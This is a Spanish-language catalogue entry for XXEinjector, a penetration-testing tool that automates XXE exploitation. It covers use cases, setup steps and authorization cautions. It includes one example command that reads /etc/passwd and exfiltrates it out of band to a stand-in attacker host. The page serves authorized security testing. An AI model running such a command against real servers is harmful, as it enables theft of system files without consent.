X-XXE
XXEinjector
Automatiza la explotación de inyección XXE, incluidas técnicas de exfiltración ciega/fuera de banda (OOB).
Sitio oficialVolver al catálogo
RESUMEN
XXEinjector (github.com/enjoiz/XXEinjector) es una herramienta en Ruby que automatiza la explotación de inyección de entidades externas XML (XXE) una vez capturada una petición HTTP cruda con cuerpo XML, típicamente desde Burp Suite. Con esa petición como plantilla, sustituye el parámetro objetivo por payloads XXE generados y conduce el resto del flujo: recuperación de archivos, listado de directorios y brute-forcing de rutas de archivo comunes, todo sin editar el XML a mano en cada intento.
Cuando no hay una filtración directa en la respuesta, soporta técnicas fuera de banda (OOB) — exfiltración por FTP y HTTP hacia un listener controlado por el atacante —, además de recuperación basada en peticiones y en filtros PHP, y puede operar a ciegas, infiriendo contenido de forma indirecta cuando la aplicación objetivo no devuelve un cuerpo de respuesta útil.
CASOS DE USO
Casos de uso en un engagement
- 01
Automatizar la recuperación de archivos y el brute-forcing de directorios una vez confirmada la vulnerabilidad XXE en una petición XML cruda.
- 02
Exfiltrar datos fuera de banda vía FTP/HTTP cuando la respuesta de la aplicación no refleja el contenido de la entidad inyectada.
- 03
Probar recuperación basada en filtros PHP para leer archivos fuente en backends PHP sin salida directa.
- 04
Probar en lote variantes de inyección de entidades contra una petición capturada en vez de crear cada payload XML a mano.
PRIMEROS PASOS
Cuando una petición acepta XML crudo o embebido y un payload XXE manual parece prometedor — para automatizar las técnicas de exfiltración directa y OOB y el brute-forcing de archivos.
- Confirma que el endpoint que acepta XML y cualquier canal de exfiltración fuera de banda que uses están dentro del alcance acordado.
- Captura una petición HTTP cruda con el cuerpo XML vulnerable (por ejemplo desde Burp Suite) y guárdala en un archivo.
- Instala las dependencias de Ruby y ejecuta XXEinjector contra la petición guardada, apuntando --host/--path a tu listener para las técnicas OOB.
- Para casos ciegos, levanta un listener FTP o HTTP bajo tu control y vigílalo para confirmar la inyección por el callback.
- Revisa los archivos recuperados o los callbacks y documenta el payload exacto y el canal de exfiltración usados.
ruby XXEinjector.rb --host=attacker.example.com --file=request.txt --path=/etc/passwd --oob=httpANTES DE USARLA
Qué revisar antes de lanzarla
Las técnicas de exfiltración OOB hacen que el servidor objetivo contacte un listener controlado por el atacante vía FTP/HTTP — obtén autorización explícita para ese canal de interacción y documéntalo en el informe, ya que puede afectar infraestructura más allá del objetivo inmediato.
El brute-forcing de archivos y la recuperación ciega generan un volumen real de peticiones contra el endpoint vulnerable — confirma que el ritmo es aceptable antes de correrlo contra producción.
Un callback o una lectura parcial es una señal fuerte, no prueba automática de impacto total — verifica manualmente qué se recuperó realmente antes de redactar la severidad.